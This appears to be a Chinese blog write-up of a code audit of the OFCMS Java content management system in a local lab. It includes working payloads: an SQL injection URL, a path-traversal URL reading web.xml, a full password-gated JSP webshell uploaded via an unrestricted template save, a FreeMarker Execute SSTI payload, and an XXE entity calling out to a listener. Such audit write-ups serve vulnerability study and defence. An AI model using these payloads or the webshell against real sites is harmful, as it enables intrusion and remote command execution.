OFCMS代码审计

环境搭建

ofcms是一个基于java技术研发的内容管理系统。

项目地址:ofmcms

1.同步pom文件。

2.在ofcms-admin\src\main\resources\dev\conf\db.properties配置自己mysql的账号密码,在数据库中新建ofcms数据库,将doc/sql中的sql文件导入。

配置服务器

账号密码:

http://localhost:8080/ofcms-admin/admin/login.html

admin/123456

漏洞审计

SQL注入

文件位置

ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController

问题在create()方法,他对sql进行了update操作。

@Action(path = "/system/generate", viewPath = "system/generate/")
public class SystemGenerateController extends BaseController {	
              public void code() {……}
              public void create() {
		try {
			String sql = getPara("sql");
			Db.update(sql);
			rendSuccessJson();
		} catch (Exception e) {
			e.printStackTrace();
			rendFailedJson(ErrorCode.get("9999"), e.getMessage());
		}
	}}

看getPara方法,它接收用户传入的参数

    public String getPara(String name) {
        return this.request.getParameter(name);
    }

在Db.update处下断点,跟进到DbPro.class文件,在var4 = this.update(this.config, conn, sql, paras);处我无法下断点,但经过分析应该是调用的247行处的update函数。将用户传入的SQL语句直接执行。虽然这里使用了prepareStatement预处理。但SQL语句是先拼接完成再传入的,因此不能起到防止SQL注入的功能。

由Action注解可知这个页面的路由为/system/generate,登录之后构造SQL注入语句

http://localhost:8080/ofcms_admin/admin/system/generate/create?sql=update%20of_cms_ad%20set%20ad_id=updatexml(1,concat(1,user()),1)

目录遍历漏洞

文件位置

 src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java

完整代码如下

package com.ofsoft.cms.admin.controller.cms;

import com.ofsoft.cms.admin.controller.BaseController;
import com.ofsoft.cms.admin.controller.system.SystemUtile;
import com.ofsoft.cms.core.annotation.Action;
import com.ofsoft.cms.core.uitle.FileUtils;
import org.apache.commons.lang3.StringUtils;

import java.io.File;
import java.io.FileFilter;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

/**
 * 模板功能
 *
 * @author OF
 * @date 2018年5月16日
 */
@Action(path = "/cms/template")
public class TemplateController extends BaseController {

    /**
     * 模板文件
     */
    public void getTemplates() {
        //当前目录
        String dirName = getPara("dir","");
        //上级目录
        String upDirName = getPara("up_dir","/");
        //类型区分
            String resPath = getPara("res_path");
        //文件目录
        String dir = null;
        if(!"/".equals(upDirName)){
              dir = upDirName+dirName;
        }else{
              dir = dirName;
        }
        File pathFile = null;
        if("res".equals(resPath)){
            pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);
        }else {
            pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);
        }

        File[] dirs = pathFile.listFiles(new FileFilter() {
            @Override
            public boolean accept(File file) {
                return file.isDirectory();
            }
        });
        if(StringUtils.isBlank (dirName)){
            upDirName = upDirName.substring(upDirName.indexOf("/"),upDirName.lastIndexOf("/"));
        }
        setAttr("up_dir_name",upDirName);
        setAttr("up_dir","".equals(dir)?"/":dir);
        setAttr("dir_name",dirName.equals("")?SystemUtile.getSiteTemplatePathName():dirName);
        setAttr("dirs", dirs);
        /*if (dirName != null) {
            pathFile = new File(pathFile, dirName);
        }*/

        File[] files = pathFile.listFiles(new FileFilter() {
            @Override
            public boolean accept(File file) {
                return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")
                        || file.getName().endsWith(".css") || file.getName().endsWith(".js"));
            }
        });
        setAttr("files", files);
        String fileName = getPara("file_name", "index.html");
        File editFile = null;
        if (fileName != null && files != null && files.length > 0) {
            for (File f : files) {
                if (fileName.equals(f.getName())) {
                    editFile = f;
                    break;
                }
            }
            if (editFile == null) {
                editFile = files[0];
                fileName = editFile.getName();
            }
        }

        setAttr("file_name", fileName);
        if (editFile != null) {
            String fileContent = FileUtils.readString(editFile);
            if (fileContent != null) {
                fileContent = fileContent.replace("<", "&lt;").replace(">", "&gt;");
                setAttr("file_content", fileContent);
                setAttr("file_path", editFile);
            }
        }
        if("res".equals(resPath)) {
            render("/admin/cms/template/resource.html");
        }else{
        render("/admin/cms/template/index.html");
        }
    }

代码从前端获取dir和filename,并且未对dir进行处理,通过SystemUtile.getSiteTemplatePath()获取模板路径后与dir直接拼接。

代码创建了一个匿名类作为 FileFilter 接口的实现,并重写了 accept(File file) 方法, 该方法用于过滤文件,只保留非目录且以特定扩展名结尾的文件(.html、.xml、.css、.js)。索引只能读取以上后缀文件。

File[] files = pathFile.listFiles(new FileFilter() {
            @Override
            public boolean accept(File file) {
                return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")
                        || file.getName().endsWith(".css") || file.getName().endsWith(".js"));
            }
        });

构造Payload如下

http://localhost:8080/ofcms_admin/admin/cms/template/getTemplates.html?file_name=web.xml&dir=../../&dir_name=

下断点跟进,发现代码将传入的参数进行拼接,并调用FileUtils.readString()函数进行了读取。

任意文件上传漏洞

文件位置

src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java

漏洞代码

    public void save() {
        String resPath = getPara("res_path");
        File pathFile = null;
        if("res".equals(resPath)){
            pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
        }else {
            pathFile = new File(SystemUtile.getSiteTemplatePath());
        }
        String dirName = getPara("dirs");
        if (dirName != null) {
            pathFile = new File(pathFile, dirName);
        }
        String fileName = getPara("file_name");
        // 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
        String fileContent = getRequest().getParameter("file_content");
        fileContent = fileContent.replace("&lt;", "<").replace("&gt;", ">");
        File file = new File(pathFile, fileName);
        FileUtils.writeString(file, fileContent);
        rendSuccessJson();
    }

在Actionhandler处理器中,如果文件在static目录,则是直接返回,其他目录会将jsp、html、json等后缀进行置空。

public class ActionHandler extends Handler {
	private String[] suffix = { ".html", ".jsp", ".json" };
    public static final String exclusions = "static/";
	// private String baseApi = "api";

	public ActionHandler(String[] suffix) {
		super();
		this.suffix = suffix;
	}

	public ActionHandler() {
		super();
	}

	@Override
	public void handle(String target, HttpServletRequest request,
			HttpServletResponse response, boolean[] isHandled) {
		//过虑静态文件
		if(target.contains(exclusions)){
			return;
		}
		target = isDisableAccess(target);
		BaseController.setRequestParams();
//		RequestSupport.setLocalRequest(request);
//		RequestSupport.setRequestParams();
		//JFinal.me().getAction(target,null);
		next.handle(target, request, response, isHandled);
	}

	private String isDisableAccess(String target) {
		for (int i = 0; i < suffix.length; i++) {
			String suffi =  getSuffix(target);
			if (suffi.contains(suffix[i])) {
				return target.replace(suffi, "");
			}
		}
		return target;
	}

	public static String getSuffix(String fileName) {
		if (fileName != null && fileName.contains(".")) {
			return fileName.substring(fileName.lastIndexOf("."));
		}
		return "";
	}
}

将木马文件上传至static目录

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();
try {Process pro = Runtime.getRuntime().exec(c);
BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;
while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}
return line.toString();} %>
<%if("hanjiefang".equals(request.g
etParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request
.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>

可以执行命令

也可以直接连接冰蝎等

模板注入

在项目介绍或者pom文件里看到项目使用了freemarker模板引擎。如果可以将freemarker的POC添加到模板中,可以造成SSTI模板注入,执行命令。

文件位置

src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java
    public void save() {
        String resPath = getPara("res_path");
        File pathFile = null;
        if("res".equals(resPath)){
            pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
        }else {
            pathFile = new File(SystemUtile.getSiteTemplatePath());
        }
        String dirName = getPara("dirs");
        if (dirName != null) {
            pathFile = new File(pathFile, dirName);
        }
        String fileName = getPara("file_name");
        // 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
        String fileContent = getRequest().getParameter("file_content");
        fileContent = fileContent.replace("&lt;", "<").replace("&gt;", ">");
        File file = new File(pathFile, fileName);
        FileUtils.writeString(file, fileContent);
        rendSuccessJson();
    }

由代码可以看出,输入的内容没有经过任何的过滤,最后调用FileUtils.writeString(file, fileContent)保存了修改的模板文件内容。要注意,fileContent.replace(“&lt;”, “<“),它是将“&lt;”替换为“<”,而不是将“<“替换为”&lt;“,

将以下代码插入到index.html中并保存

<#assign ex="freemarker.template.utility.Execute"?new()> 
  ${ ex("calc") }

访问首页,可以触发命令执行

XXE注入

文件位置

src/main/java/com/ofsoft/cms/admin/controller/ReprotAction.java
@Action(path = "/reprot")
public class ReprotAction extends BaseController {
	protected static Logger log = LoggerFactory.getLogger(ReprotAction.class);

	public void expReport() {
		HttpServletResponse response = getResponse();
		Map<String, Object> hm = getParamsMap();
		String jrxmlFileName = (String) hm.get("j");
		jrxmlFileName = "/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml";
		File file = new File(PathKit.getWebRootPath() + jrxmlFileName);
		String fileName = (String) hm.get("reportName");
		log.info("报表文件名[{}]", file.getPath());
		 OutputStream out = null;
		try {
			DataSource dataSource = (DataSource) SysBeans
					.getBean("dataSourceProxy");
			JasperPrint jprint = (JasperPrint) JasperFillManager.fillReport(
					JasperCompileManager
							.compileReport(new FileInputStream(file)), hm,
					dataSource.getConnection());
			JRXlsExporter exporter = new JRXlsExporter();
			response.setHeader("Content-Disposition", "attachment;filename="
					+ URLEncoder.encode(fileName, "utf-8") + ".xls");
			response.setContentType("application/xls");
			response.setCharacterEncoding("UTF-8");
			JasperReportsUtils.render(exporter, jprint,
					response.getOutputStream());
			response.setStatus(HttpServletResponse.SC_OK);
			 out=response.getOutputStream();
			 out.flush();
	         out.close();
		} 

“/reprot”页面从前端获取参数“j”的值,进行路径拼接,并且限定了文件后缀名为“.jrxml”,之后调用JasperCompileManager .compileReport()函数进行解析。

利用前面的文件上传漏洞向static目录写入一个jxxml文件,内容为

<!DOCTYPE poem [<!ENTITY % xxe SYSTEM "http://127.0.0.1:8081">%xxe; ]>

起一个Python服务

访问以下链接

http://localhost:8080/ofcms_admin_war/admin/reprot/expReport.html?j=../../static/xxe

下断点进行调试

跟进JasperCompileManage.compileReport函数,最终跟踪到JRXmlLoader的loadXML方法,加载传入的xml文件,Payload得到执行。

Python服务收到请求

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇